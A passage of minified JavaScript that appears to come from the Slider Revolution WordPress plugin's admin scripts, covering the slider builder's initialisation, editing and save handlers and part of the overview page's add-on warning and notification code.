u.start.height0?0:s+c[0]0?0:n+p[0]0?0:o+c[1]0?0:l+p[1]0&&jQuery("#builderView").remove(),RVS.F.ajaxRequest("load_builder",{},function(e){jQuery("#wpbody").append(e.data),!1!==t&&RVS.F.loadSlider({id:t})})},RVS.F.loadSlider=function(e){RVS.C.slideList=jQuery("#slidelist"),RVS.C.theRightToolbar=jQuery("#the_right_toolbar_inner"),RVS.C.theEditor=jQuery("#the_editor"),RVS.S.ulInner=jQuery("#rev_slider_ul_inner"),(void 0!==e.id&&""!==e.id||void 0!==e.alias&&""!==e.alias)&&(RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.loadingcontent}),RVS.F.ajaxRequest("get_full_slider_object",void 0!==e.alias&&""!==e.alias?{alias:e.alias}:{id:e.id},function(e){if(void 0===e.id)RVS.F.showWaitAMinute({fadeIn:200,text:RVS_LANG.redirectingtooverview}),RVS.F.backToOverview();else{if(RVS.F.showWaitAMinute({fadeIn:200,text:RVS_LANG.preparingdatas}),RVS.SLIDER.id=e.id,RVS.ENV.sliderID=e.id,RVS.ENV.tempGuide=e.guide,e.slider_params.alias=e.alias,e.slider_params.title=e.title,r(e.slider_params),void 0===RVS.S.emptyLayerObj.shape)for(var t in RVS.S.layerTypes)RVS.S.emptyLayerObj[RVS.S.layerTypes[t]]=RVS.F.addLayerObj(RVS.S.layerTypes[t],void 0,!1,!0,!0);for(var s in e.slides)if(e.slides.hasOwnProperty(s)){let i=e.slides[s];for(t in i.params=void 0!==i.params&&Array.isArray(i.params)?void 0:RVS.F.expandSlide(i.params),i.layers)void 0!==i.layers[t].position&&null==i.layers[t].position.zIndex&&void 0!==i.layers[t].group&&void 0!==i.layers[t].group.groupOrder&&(i.layers[t].position.zIndex=i.layers[t].group.groupOrder,RVS.S.zIndexAtStartChanged=!0);void 0!==i.params&&void 0!==i.params.static&&(i.params.static.isstatic=!1),a({slideid:i.id,uid:i.id,slide:i.params,layers:i.layers})}i(e.static_slide),RVS.F.makeSlideListSortable(),RVS.F.makeSlideListScroll(),init(),RVS.F.showWaitAMinute({fadeOut:200,text:RVS_LANG.preparingdatas}),e.slider_params.pakps?RVS.F.openHelpGuide("template"):void 0!==e.slider_params.layout&&RVS.F.openHelpGuide("module",!0),void 0===e.slider_params.layout?(RVS.ENV.unsaved=!0,RVS.F.openNewGuide()):void 0!==RVS.SLIDER.settings.skins&&!0===RVS.SLIDER.settings.skins.colorsAtStart&&setTimeout(RVS.F.openColorSkinApi(),500)}},void 0,!0,void 0,void 0,!0),RVS.F.showWaitAMinute({fadeOut:0,text:RVS_LANG.loadingcontent}),s(),RVS.F.manageShapeContentShow())},RVS.F.addOnsBasics=function(){for(var e in RVS.LIB.ADDONS)RVS.LIB.ADDONS.hasOwnProperty(e)&&(RVS.SLIDER.settings.addOns[e]=void 0===RVS.SLIDER.settings.addOns[e]?{enable:!1}:RVS.SLIDER.settings.addOns[e])};var i=function(e){var t=void 0!==e.params?RVS.F.addSlideObj():RVS.F.addSlideObj(e.slide);t.title=RVS_LANG.globalLayers,t.static.isstatic=!0,void 0!==e.params&&void 0!==e.params.static&&(t.static.overflow=void 0===e.params.static.overflow?"hidden":e.params.static.overflow,t.static.position=void 0===e.params.static.position?"front":e.params.static.position,t.static.lastEdited=void 0===e.params.static.lastEdited||"front"===e.params.static.lastEdited||e.params.static.lastEdited),e.id=void 0===e.id?RVS.ENV.sliderID:e.id,a({slideid:"static_"+e.id,uid:e.id,slide:t,layers:e.layers,order:999}),RVS.SLIDER.staticSlideId="static_"+e.id},a=function(e){e.layers=void 0===e.layers?{}:e.layers,e.slide=void 0===e.slide?{}:e.slide,RVS.SLIDER.slideIDs=void 0===RVS.SLIDER.slideIDs?[]:RVS.SLIDER.slideIDs;var t={slide:RVS.F.addSlideObj(e.slide),layers:{},id:e.uid};for(var i in e.layers)if(e.layers.hasOwnProperty(i)){var a=e.layers[i],r=RVS.F.addLayerObj(jQuery.extend(!0,jQuery.extend(!0,{},RVS.S.emptyLayerObj[a.type]),a));if(void 0===r)continue;"zone"===r.type&&"bottom"!==r.uid&&"middle"!==r.uid&&"top"!==r.uid||r&&(t.layers[r.uid]=r)}RVS.SLIDER[e.slideid]=t,RVS.SLIDER.slideIDs.push(e.slideid),RVS.S.slideId=e.slideid,RVS.F.addToSlideList({id:e.slideid,ignoreSort:!0})},r=function(e){e.layout&&e.layout.bg&&Array.isArray(e.layout.bg)&&e.layout.bg.length<=0&&delete e.layout.bg,RVS.SLIDER.settings=RVS.F.setSlider(e)},s=function(){RVS.C.undo=document.getElementById("undolist"),RVS.C.redo=document.getElementById("redolist"),RVS.C.vW=document.getElementById("builderView"),RVS.C.rb=jQuery("#rev_builder"),RVS.C.rb_tlw=jQuery("#rb_tlw"),RVS.C.the_cont=void 0===RVS.C.the_cont?jQuery("#the_container"):RVS.C.the_cont,RVS.C.the_cont[0].className="no_layers_selected",RVS.C.formCollectors=document.getElementsByClassName("form_collector"),RVS.C.simpleCollectors=[];var e=0;for(var t in RVS.C.formCollectors)RVS.C.formCollectors.hasOwnProperty(t)&&(""===RVS.C.formCollectors[t].id&&(RVS.C.formCollectors[t].id="form_collector_id_"+e),-1==RVS.C.formCollectors[t].className.indexOf("__inmodal")&&RVS.C.simpleCollectors.push(RVS.C.formCollectors[t]),RVS.C.formCollectors[t].className+=" "+RVS.C.formCollectors[t].dataset.type+"_forms",e++);for(var t in RVS.C.simpleCollectors)RVS.C.simpleCollectors.hasOwnProperty(t)&&RVS.C.theRightToolbar[0].appendChild(RVS.C.simpleCollectors[t]);RVS.F.initNavigation(),RVS.DOC.on("revertEasyInputs",function(e,t){RVS.F.updateEasyInputs({container:t,trigger:"init",path:"settings."})}),RVS.F.initialiseInputBoxes()};init=function(){RVS.F.generateAttachmentMetaData(),RVS.S.slideId=RVS.F.getEditorUrl(),""+RVS.S.slideId.indexOf("slider-")>=0&&(RVS.S.slideId=RVS.SLIDER.slideIDs[0],""+RVS.S.slideId.indexOf("static_")>0&&RVS.SLIDER.slideIDs.length>1&&(RVS.S.slideId=RVS.SLIDER.slideIDs[1])),RVS.F.initSliderBuilder(),RVS.F.initTimeLineModules(),RVS.F.initTimeLineConstruct(),RVS.F.initSlideBuilder(),RVS.F.initLayerTools(),RVS.F.initLayerActions(),RVS.F.initLayerBuilder(),RVS.F.initLayerListBuilder(),RVS.F.initQuickStyle(),RVS.F.updateInputBoxes(),RVS.F.initOnOff(),RVS.F.switchButtonInit(),jQuery("#undoredowrap").RSScroll({wheelPropagation:!1,suppressScrollX:!0,minScrollbarLength:100}),tpGS.gsap.set("#adminmenumain, #wpadminbar",{opacity:0}),window.onbeforeunload=function(t){if(RVS.F.showWaitAMinute({fadeIn:500,text:e?RVS_LANG.redirectingtooverview:RVS_LANG.leavingpage}),RVS.S.need_to_save){e=!1,RVS.F.showWaitAMinute({fadeOut:500});var t=t||window.event;return t&&(t.returnValue=RVS_LANG.leaving),RVS_LANG.leaving}},RVS.DOC.on("enablePXModule",function(e,t){void 0!==t&&("slideparallax"===t&&!0!==RVS.SLIDER.settings.parallax.set&&"-"!==RVS.SLIDER[RVS.S.slideId].slide.effects.parallax||"object"==typeof t&&"-"!==RVS.L[t.layerid].effects.parallax&&!0!==RVS.SLIDER.settings.parallax.set)&&(RVS.SLIDER.settings.parallax.set=!0,RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_effects_scroll"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.parallaxsettoenabled,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""}))}),RVS.DOC.on("enableScrollEffectModule",function(e,t){void 0!==t&&("object"!=typeof t&&("fade"===t||"blur"===t||"grayscale"===t)&&!0!==RVS.SLIDER.settings.parallax.set&&"true"==RVS.SLIDER[RVS.S.slideId].slide.effects[t]||"object"==typeof t&&null==t.layerid&&void 0!==t.val&&"true"==t.val&&!0!==RVS.SLIDER.settings.scrolleffects.set||"object"==typeof t&&void 0!==t.layerid&&"true"==RVS.L[t.layerid].effects.effect&&!0!==RVS.SLIDER.settings.scrolleffects.set)&&(RVS.SLIDER.settings.scrolleffects.set=!0,RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_effects_scroll"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.feffectscrollsettoenabled,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""}))}),RVS.DOC.on("enableScrollModule",function(e,t){void 0!==t&&void 0!==t.layerid&&("true"==RVS.L[t.layerid].timeline.scrollBased&&!0!==RVS.SLIDER.settings.scrolltimeline.set&&(RVS.SLIDER.settings.scrolltimeline.set=!0,RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_effects_scroll"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.timelinescrollsettoenabled,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""})),!0===RVS.SLIDER.settings.scrolltimeline.set&&("true"==RVS.L[t.layerid].timeline.scrollBased||"default"==RVS.L[t.layerid].timeline.scrollBased&&!0===RVS.SLIDER.settings.scrolltimeline.layers)&&(RVS.L[t.layerid].timeline.loop.use=!1,RVS.F.updateEasyInputs({container:jQuery("#layer_looping_wrap"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.layerloopdisabledduetimeline,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""})))}),help_menu_support.addEventListener("click",function(e){e.stopPropagation(),e.stopImmediatePropagation(),RVS.ENV.activated||(e.preventDefault(),RVS.F.showRegisterSliderInfo())}),RVS.DOC.on("click",".action_collection_wrap",function(){jQuery(this).toggleClass("showmore")}),RVS.DOC.on("click","#rb_editor_logo",function(){clearTimeout(t),jQuery(".rs-builder-mode.hideallwp").addClass("showwpmenus"),tpGS.gsap.to("#adminmenumain",.5,{opacity:1})}),RVS.DOC.on("mouseenter","#adminmenumain, #wpadminbar",function(){clearTimeout(t),jQuery(".rs-builder-mode.hideallwp").addClass("showwpmenus"),tpGS.gsap.to("#adminmenumain",.5,{opacity:1})}),RVS.DOC.on("mouseleave","#adminmenumain, #wpadminbar",function(){t=setTimeout(function(){tpGS.gsap.to("#adminmenumain, #wpadminbar",.1,{opacity:0,onComplete:function(){jQuery(".rs-builder-mode.hideallwp").removeClass("showwpmenus")}})},200)}),RVS.DOC.on("mouseleave",".action_collection_wrap",function(){jQuery(this).removeClass("showmore")}),RVS.DOC.on("mouseover",".aable",function(e){jQuery(".aable.hovered").removeClass("hovered");var t=jQuery(e.toElement);t.hasClass("aable")?t.addClass("aable").addClass("hovered"):t.closest(".aable").addClass("hovered")}),RVS.DOC.on("mouseleave",".aable",function(e){var t=jQuery(this);t.hasClass("aable")?t.removeClass("hovered"):t.closest(".aable").removeClass("hovered")}),RVS.DOC.on("click",".markable",function(){if(!RVS.S.justresized)return function(e){if(void 0===e||"object"!=typeof e||void 0===e.element&&void 0===e.jelement&&void 0===e.id)return!1;void 0!==e.id&&(e.jelement=jQuery("#"+e.id)),void 0===e.element&&(e.element=e.jelement[0]),void 0===e.jelement&&(e.jelement=jQuery(e.element)),void 0===e.id&&(e.id=e.element.id),void 0!==e.jelement&&(function(e){var t=[];for(var i in RVS.S.selElements)RVS.S.selElements[i].id===e?t.push(RVS.S.selElements[i]):RVS.S.selElements[i].jobj.removeClass("marked");RVS.S.selElements=t,RVS.DOC.trigger("cursorselection"),RVS.F.selectLayers({ignoreModeChange:!0,overwrite:!0})}(e.element.id),RVS.S.selElements=[],RVS.S.selElements.push({jobj:e.jelement,multiplemark:e.element.dataset.multiplemark,forms:e.jelement.data("forms"),id:e.element.id}),e.jelement.addClass("marked"))}({id:this.id}),RVS.F.openSettings({forms:jQuery(this).data("forms"),uncollapse:this.dataset.collapse}),!1}),RVS.DOC.on("click",".slide_list_element, .slide_list_child_element",function(){if(""+this.dataset.ref!==RVS.S.slideId){RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.preparingNextSlide});var e=this.dataset.ref;return setTimeout(function(){var t=RVS.SLIDER[RVS.S.slideId].slide.static.isstatic;RVS.S.lastShownSlideId=RVS.S.slideId;var i=(" "+RVS.C.vW.className).indexOf(" mode__slidestyle")>=0;RVS.F.mainMode({mode:"slidelayout",slide:e}),i?(RVS.DOC.trigger("changeToSlideMode"),!RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&t&&(jQuery(".slide_submodule_trigger.selected").removeClass("selected"),RVS.F.showForms("#form_slidebg",!0)),RVS.F.updateSlideInputFields()):(RVS.DOC.trigger("changeToLayerMode"),RVS.F.updateLayerInputFields()),RVS.F.showWaitAMinute({fadeOut:0,text:RVS_LANG.preparingNextSlide})},10),!1}}),RVS.DOC.on("click",".callEventButton",function(){void 0!==this.dataset.evt&&RVS.DOC.trigger(this.dataset.evt,this.dataset.evtparam)}),RVS.DOC.on("click","#back_to_overview",function(){RVS.F.setCookie("rs6_shortly_edited_slider",RVS.ENV.sliderID,17e-5),e=!0,RVS.S.need_to_save||RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.redirectingtooverview}),RVS.F.backToOverview()}),RVS.DOC.on("click","#undo, #undo_redo_wrap",function(){RVS.F.undo({step:1})}),RVS.DOC.on("click","#redo",function(){RVS.F.redo({step:1})}),RVS.DOC.on("click",".undoredostep",function(){"redolist"===this.parentElement.id?RVS.F.redo({step:parseInt(jQuery(this).index(),0)+1}):RVS.F.undo({step:jQuery("#undolist li").length-jQuery(this).index()-1})}),RVS.DOC.on("click","#noactiondone_undo",function(){RVS.F.undo({step:jQuery("#undolist li").length})}),RVS.DOC.on("keydown",function(e){if(("none"===RVS.S.inFocus||void 0===RVS.S.inFocus)&&("MacOS"===RVS.S.OSName&&e.metaKey&&!e.ctrlKey||e.ctrlKey))switch(e.keyCode){case 83:return e.preventDefault(),RVS.DOC.trigger("saveslider"),!1;case 90:return RVS.F.undo({step:1}),!1;case 89:return RVS.F.redo({step:1}),!1}}),RVS.DOC.on("click",".close_and_accept",function(){var e=jQuery(this.closest(".form_collector"));e.hide(),void 0!==this.dataset.evt&&RVS.DOC.trigger(this.dataset.evt,this.dataset.evtparam)}),RVS.DOC.on("mouseover",".callhoverevt",function(e){void 0!==this.dataset.hoverevt&&RVS.DOC.trigger(this.dataset.hoverevt,this.dataset.hoverevtparam)}),RVS.DOC.on("mouseleave",".callhoverevt",function(e){void 0!==this.dataset.leaveevt&&RVS.DOC.trigger(this.dataset.leaveevt,this.dataset.leaveevtparam)}),RVS.DOC.on("mouseover","#ruler_top, #ruler_left",function(e){return RVS.S.builderHover="overruler",!1}),RVS.DOC.on("mouseover","#timeline_settings",function(e){return RVS.S.builderHover="overtimeline",!1}),RVS.DOC.on("mouseover","#rev_builder_inner",function(e){return RVS.S.builderHover="overbuilder",!1}),RVS.DOC.on("mouseleave","#rev_builder_wrapper",function(e){return RVS.S.builderHover=!1,RVS.F.setRulerMarkers(),!1}),RVS.DOC.on("mouseleave","#the_right_toolbar_inner",function(e){return RVS.S.builderHover=!1,RVS.F.setRulerMarkers(),!1}),tpGS.gsap.set("#optimizeslider",{display:"none",autoAlpha:0,y:50}),RVS.DOC.on("mouseenter","#save_slider, #optimizeslider",function(e){clearTimeout(RVS.S.mouseOverSaveOpt),tpGS.gsap.to("#optimizeslider",.3,{display:"block",autoAlpha:1,y:0,ease:"power3.inOut"})}),RVS.DOC.on("mouseleave","#save_slider, #optimizeslider",function(e){RVS.S.mouseOverSaveOpt=setTimeout(function(){tpGS.gsap.to("#optimizeslider",.3,{display:"none",autoAlpha:0,y:50,ease:"power3.inOut"})},10)}),RVS.DOC.on("click","#save_slider",function(){RVS.DOC.trigger("saveslider")}),RVS.DOC.on("click","#optimizeslider",function(e){RVS.F.openOptimizer()}),RVS.DOC.on("click","#preview_slider",function(){RVS.F.openPreivew({title:RVS.SLIDER.settings.title,alias:RVS.SLIDER.settings.alias,id:RVS.SLIDER.id,mode:this.dataset.mode})}),RVS.DOC.on("saveslider",function(e,t){RVS.F.convertIDStoTxt(),RVS.F.convertArrayToObjects(),RVS.F.saveSlides({index:0,slides:RVS.SLIDER.slideIDs,trigger:RVS.F.saveSliderSettings,works:RVS.SLIDER.inWork,force:void 0!==t&&void 0!==t.force&&t.force})}),tpGS.gsap.fromTo("#builderView",.001,{x:"100%"},{x:"0%",ease:"power3.inOut"}),setTimeout(function(){RVS.F.mainMode({mode:"slidelayout",ignoreUpdateFields:!0,forms:["*slidelayout*"],set:!0,uncollapse:!0,slide:RVS.S.slideId}),RVS.F.mainMode({mode:"sliderlayout",forms:["*sliderlayout*#form_module_title"],set:!0,uncollapse:!0,slide:RVS.S.slideId}),jQuery("body.rs-builder-mode").addClass("hideallwp"),jQuery("#ui_preset_toggle").on("click",function(){var e=jQuery(this);e.hasClass("windowmode")?(e.removeClass("windowmode"),RVS.F.fixTools()):(e.addClass("windowmode"),RVS.F.releaseDarkTools())}),function(){if("MacOS"===RVS.F.os()){var e,t=document.querySelectorAll(".shortcut_cmdctrl"),i=document.querySelectorAll(".shortcut_alt"),a=document.querySelectorAll(".shortcut_shift"),r=document.querySelectorAll(".shortcuttext");for(e in i)i.hasOwnProperty(e)&&(i[e].textContent="⌥");for(e in a)a.hasOwnProperty(e)&&(a[e].textContent="⇧");for(e in t)t.hasOwnProperty(e)&&(t[e].textContent="⌘");for(e in r)t.hasOwnProperty(e)&&r[e].classList.add("osx")}}(),RVS.DOC.trigger("checkOnScrollSettings"),RVS.DOC.trigger("builderInitialised")},1)}}();admin/assets/js/modules/overview.min.js000060400000246056151724235750014234 0ustar00/*! * REVOLUTION 6.0.0 OVERVIEW JS * @version: 1.0 (01.07.2019) * @author ThemePunch */ function showPluginInfos(){}!function(){RVS.F.initOverView=function(){RVS.F.initAdmin(),RVS.C.rsOVM=jQuery("#rs_overview_menu"),RVS.S.ovMode=!0,RVS.F.initialiseInputBoxes("overview"),initLocalListeners(),jQuery("#plugin_history").RSScroll({wheelPropagation:!0,suppressScrollX:!1,minScrollbarLength:30}),sliderLibrary.output=jQuery("#existing_sliders"),sliderLibrary.sfw=jQuery("#slider_folders_wrap"),sliderLibrary.sfw.appendTo(jQuery(document.body)),sliderLibrary.sfwu=jQuery("#slider_folders_wrap_underlay"),sliderLibrary.backOneLevel=jQuery('
    more_horizBack
    '),sliderLibrary.selectedFolder=-1,sliderLibrary.selectedPage=1,sliderLibrary.slidesContainer=jQuery(".overview_slide_elements"),updateParentAttributes(),sliderLibrary.filters=buildModuleFilters(),function(){window.ov_scroll_targets=[];var e=0;jQuery(".rso_scrollmenuitem").each(function(){void 0!==this.dataset.ref&&(window.ov_scroll_targets.push({obj:jQuery(this.dataset.ref),top:jQuery(this.dataset.ref).offset().top,height:jQuery(this.dataset.ref).height(),menu:jQuery(this),menu_js:this}),this.dataset.ostref=e,e++)}),jQuery("#adminmenuwrap").append('
    '),jQuery("#wpcontent").append('
    '),tpGS.gsap.to(["#wpadmin_overlay","#wpadmin_overlay_top"],.6,{opacity:1,ease:"power3.inOut"}),tpGS.gsap.to(["#adminmenuback","#adminmenuwrap","#wpadminbar"],.6,{filter:"grayscale(100%)",ease:"power3.inOut"}),jQuery("#adminmenuback, #adminmenuwrap, #wpadminbar").on("mouseenter",function(){tpGS.gsap.to(["#wpadmin_overlay","#wpadmin_overlay_top"],.3,{opacity:0,ease:"power3.inOut"}),tpGS.gsap.to(["#adminmenuback","#adminmenuwrap","#wpadminbar"],.6,{filter:"grayscale(0%)",ease:"power3.inOut"})}).on("mouseleave",function(){tpGS.gsap.to(["#wpadmin_overlay","#wpadmin_overlay_top"],.3,{opacity:1,ease:"power3.inOut"}),tpGS.gsap.to(["#adminmenuback","#adminmenuwrap","#wpadminbar"],.6,{filter:"grayscale(100%)",ease:"power3.inOut"})}),a(),s(),tpGS.gsap.to("#rs_overview_menu",1,{opacity:1,ease:"power3.out"})}(),RVS.F.updateDraw(),RVS.F.isActivated(),updateOVFilteredList(),updateSysChecks(),initBasics(),r(),RVS.F.handleDeactivatedwarning(),RVS.F.handleAddonsWarning(),RVS.F.activeNotActive(),RVS.ENV.updated&&RVS.F.welcome(),RVS.F.generateAttachmentMetaData(),checkAddOnVersions(),RVS.ENV.newTemplatesCounter=document.getElementById("new_templates_counter"),RVS.ENV.newAddonsCounter=document.getElementById("new_addons_counter");var e={i:0},i={i:0};void 0!==RVS.ENV.newTemplatesAmount&&RVS.ENV.newTemplatesAmount>0&&(tpGS.gsap.fromTo(e,Math.min(1.5,Math.max(.2,.02*RVS.ENV.newTemplatesAmount)),{i:0},{i:RVS.ENV.newTemplatesAmount,ease:"none",onUpdate:function(){RVS.ENV.newTemplatesCounter.innerHTML="+ "+Math.round(e.i)}}),RVS.ENV.newTemplatesCounter.style.display="block"),void 0!==RVS.ENV.newAddonsAmount&&RVS.ENV.newAddonsAmount>0&&(tpGS.gsap.fromTo(i,Math.min(1.5,Math.max(.2,.02*RVS.ENV.newAddonsAmount)),{i:0},{i:RVS.ENV.newAddonsAmount,ease:"none",onUpdate:function(){RVS.ENV.newAddonsCounter.innerHTML="+ "+Math.round(i.i)}}),RVS.ENV.newAddonsCounter.style.display="block");var t=RVS.F.getCookie("rs6_shortly_edited_slider")+"";if(void 0!==t&&t.length>0){RVS.F.setCookie("rs6_shortly_edited_slider","",0);var d=!1;for(var l in sliderLibrary.sliders)!1===d&&(d=sliderLibrary.sliders[l].id==t?sliderLibrary.sliders[l].parent:d);!1!==d&&-1!==d&&"-1"!==d&&RVS.F.changeOVToFolder(d)}RVS.F.notifications(),document.location.href.includes("#template_library")&&new_slider_from_template.click(),document.location.href.includes("#global_settings")&&globalsettings.click()},RVS.F.addonInstalledFromWarning=function(e,i){RVS.LIB.OBJ.addonsToInstall.splice(0,1),RVS.LIB.ADDONS[i].active=!0},RVS.F.installAddonOneByOne=function(){if(RVS.LIB.OBJ.addonsToInstall.length>0){var e=RVS.LIB.OBJ.addonsToInstall[0];RVS.F.ajaxRequest("activate_addon",{addon:e},function(i){void 0!==RVS.LIB.ADDONS&&void 0!==RVS.LIB.ADDONS[e]&&1==RVS.LIB.ADDONS[e].installed?(RVS.F.addonInstalledFromWarning(i,e),RVS.F.installAddonOneByOne()):(RVS.LIB.ADDONS[e].installed=!0,RVS.F.installAddonOneByOne())},void 0,void 0,RVS_LANG.installingaddon+'
    '+RVS.LIB.OBJ.addonsToInstall[0]+"")}else RVS.F.handleAddonsWarning(),RVS.F.notifications()},RVS.F.handleAddonsWarning=function(){if(RVS.ENV.activated){void 0===RVS.S.handleADDWAR&&(RVS.S.handleADDWAR=!0,RVS.C.addwarlist=document.getElementById("list_of_deactivated_addons"),RVS.DOC.on("click","#rbm_notactiveaddon_warning .rbm_close",function(){RVS.F.RSDialog.close(),RVS.S.addonWarningOpen=!1}),RVS.DOC.on("click",".de_add_fix",function(){RVS.LIB.OBJ.addonsToInstall=RVS.S.addFixRefList[this.dataset.fixref],RVS.F.installAddonOneByOne()}),RVS.DOC.on("click","#naa_install_all",function(){for(var e in RVS.LIB.OBJ.addonsToInstall=[],RVS.S.addFixRefList)if(RVS.S.addFixRefList.hasOwnProperty(e))for(var i in RVS.S.addFixRefList[e])RVS.S.addFixRefList[e].hasOwnProperty(i)&&-1==RVS.LIB.OBJ.addonsToInstall.indexOf(RVS.S.addFixRefList[e][i])&&RVS.LIB.OBJ.addonsToInstall.push(RVS.S.addFixRefList[e][i]);RVS.F.installAddonOneByOne()}),RVS.C.missingAddonLists=jQuery("#list_of_deactivated_addons").RSScroll({wheelPropagation:!0,suppressScrollX:!0,minScrollbarLength:100}));var e=RVS.F.createNotActivatedAddonsList();""!==e?(RVS.C.addwarlist.innerHTML=e,RVS.F.showAddonWarning(),RVS.C.missingAddonLists.RSScroll("update")):RVS.S.addonWarningOpen&&(RVS.S.addonWarningOpen=!1,RVS.F.RSDialog.close())}},RVS.F.createNotActivatedAddonsList=function(){var e,i,r,t,s="",a=0;for(e in RVS.S.addFixRefList={},sliderLibrary.sliders)if(a++,sliderLibrary.sliders.hasOwnProperty(e)&&void 0!==sliderLibrary.sliders[e].addons&&0!=sliderLibrary.sliders[e].addons.length){for(i in r="",t=0,RVS.S.addFixRefList[a]=[],sliderLibrary.sliders[e].addons)sliderLibrary.sliders[e].addons.hasOwnProperty(i)&&null!=RVS.LIB.ADDONS[sliderLibrary.sliders[e].addons[i]]&&(RVS.LIB.ADDONS[sliderLibrary.sliders[e].addons[i]].active&&RVS.LIB.ADDONS[sliderLibrary.sliders[e].addons[i]].installed||(r+=(t>0?", ":"")+RVS.LIB.ADDONS[sliderLibrary.sliders[e].addons[i]].title,RVS.S.addFixRefList[a].push(sliderLibrary.sliders[e].addons[i]),t++));""!=r&&(r.length>34&&(r=r.substring(0,31)+"..."),s+='
    ',s+='
    '+sliderLibrary.sliders[e].alias+"
    ",s+='
    '+RVS_LANG.needsd+"
    ",s+='
    '+r+"
    ",s+='
    '+RVS_LANG.fix+"
    ",s+="
    ")}return s},RVS.F.showAddonWarning=function(){RVS.F.RSDialog.create({modalid:"#rbm_notactiveaddon_warning",bgopacity:.25}),RVS.S.addonWarningOpen=!0},RVS.F.handleDeactivatedwarning=function(){void 0===RVS.S.handleDEWAR&&(RVS.S.handleDEWAR=!0,RVS.DOC.on("click","#rbm_notactive_warning",function(){RVS.F.ajaxRequest("close_deregister_popup",{},function(e){},void 0,void 0,void 0,!0)}),RVS.ENV.deregisterPopup&&RVS.F.showDeactivatedWarning())},RVS.F.scrollToOvRegister=function(){s();var e={val:window.scroll_top};tpGS.gsap.to(e,.6,{val:window.ov_scroll_targets[2].top-200,onUpdate:function(){RVS.WIN.scrollTop(e.val)},ease:"power3.out"}),s()},RVS.F.showDeactivatedWarning=function(){RVS.F.RSDialog.create({modalid:"#rbm_notactive_warning",bgopacity:.25}),null==RVS.S.pwcandreg&&(RVS.DOC.on("click","#pb_closeandregister",function(){RVS.F.RSDialog.close(),RVS.F.scrollToOvRegister()}),RVS.DOC.on("click","#rbm_notactive_warning .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.S.pwcandreg=!0)},RVS.F.getBackupList=function(){return RVS.F.ajaxRequest("get_v5_slider_list",{},function(e){e.success?console.log(e.slider):console.log("Response Error")},!1,!1,void 0,!0),"Getting Slide List from Backup Database..."},RVS.F.reImportBackup=function(e){return RVS.F.ajaxRequest("reimport_v5_slider",{id:e},function(e){console.log(e)},!1,!1,void 0,!0),"Importing Slider "+e+" from the Backup Database..."},RVS.F.setObjBg=function(e,i){var r=void 0!==e.bg.src&&e.bg.src.length>3?e.bg.src:RVS.ENV.plugin_url+"admin/assets/images/sources/"+e.source+".png",t=void 0!==e.bg.style?e.bg.style:{};switch(Array.isArray(t)&&(t=RVS.F.toObject(t)),e.bg.type){case"image":void 0!==t&&void 0!==t.css?t.css.backgroundImage="url("+r+")":void 0!==t&&(t.backgroundImage="url("+r+")"),tpGS.gsap.set(i,t);break;case"color":case"colored":case"solid":var s=window.RSColor.get(t["background-color"]);s.indexOf("gradient")>=0?tpGS.gsap.set(i,{backgroundImage:s}):tpGS.gsap.set(i,{backgroundColor:s});break;case"transparent":tpGS.gsap.set(i,{backgroundImage:"url("+RVS.ENV.plugin_url+"admin/assets/images/sources/"+e.source+".png)",backgroundRepeat:"no-repeat",backgroundSize:"cover"})}},RVS.F.notifications=function(){var e={0:"",1:"",2:""},i=2,r=jQuery("#rso_menu_notices"),t=document.getElementById("rs_notices_wrapper"),s=document.getElementById("rs_notice_bell"),a=document.getElementById("rs_notice_counter"),d=document.getElementById("rs_notice_the_bell"),l=new Array;t.innerHTML="",RVS.ENV.notices=void 0===RVS.ENV.notices?new Array:RVS.ENV.notices,RVS.ENV.noticeCache=void 0===RVS.ENV.noticeCache?RVS.ENV.notices.slice():RVS.ENV.noticeCache,RVS.ENV.notices=RVS.ENV.noticeCache.slice(),"true"!==RVS.ENV.activated&&!0!==RVS.ENV.activated&&RVS.ENV.notices.push({function:"registerPlugin",additional:[],code:"INTERN",disable:!0,icon:"style",is_global:!1,text:RVS_LANG.notRegNoAll,type:1}),void 0!==RVS.ENV.addOns_to_updateArray&&RVS.ENV.addOns_to_updateArray.length>0&&RVS.ENV.notices.push({function:"checkAddOnVersions",additional:[],code:"INTERN",disable:!0,icon:"extension",is_global:!1,text:RVS_LANG.addonsmustbeupdated,type:0}),RVS.F.compareVersion(RVS.ENV.latest_version,RVS.ENV.revision)>0&&RVS.ENV.notices.push({function:"updatePluginNow",additional:[],code:"INTERN",disable:!0,icon:"new_releases",is_global:!1,text:RVS_LANG.newVersionAvailable,type:1}),RVS.F.createNotActivatedAddonsList().length>0&&RVS.ENV.notices.push({function:"fixMissingAddons",additional:[],code:"INTERN",disable:!0,icon:"new_releases",is_global:!1,text:RVS_LANG.fixMissingAddons,type:1});var o=!1;for(var n in RVS.LIB.ADDONS)o||RVS.LIB.ADDONS[n].available>RVS.LIB.ADDONS[n].installed&&(o=!0,RVS.ENV.notices.push({function:"addonNotUptodate",additional:[],code:"INTERN",disable:!0,icon:"extension",is_global:!1,text:RVS_LANG.someAddonnewVersionAvailable,type:1}));var c=0;for(var n in RVS.S.advert=void 0===RVS.S.advert?[]:RVS.S.advert,RVS.ENV.notices)if("3"!==RVS.ENV.notices[n].type&&c++,"2"===RVS.ENV.notices[n].type&&l.push(RVS.ENV.notices[n].code),"3"!==RVS.ENV.notices[n].type){var u=void 0!==RVS.ENV.notices[n].function&&RVS.ENV.notices[n].function.length>0?"notification_function_"+RVS.ENV.notices[n].function:"no_notification_function";e[RVS.ENV.notices[n].type]+='
  • '+RVS.ENV.notices[n].icon+""+RVS.ENV.notices[n].text+"
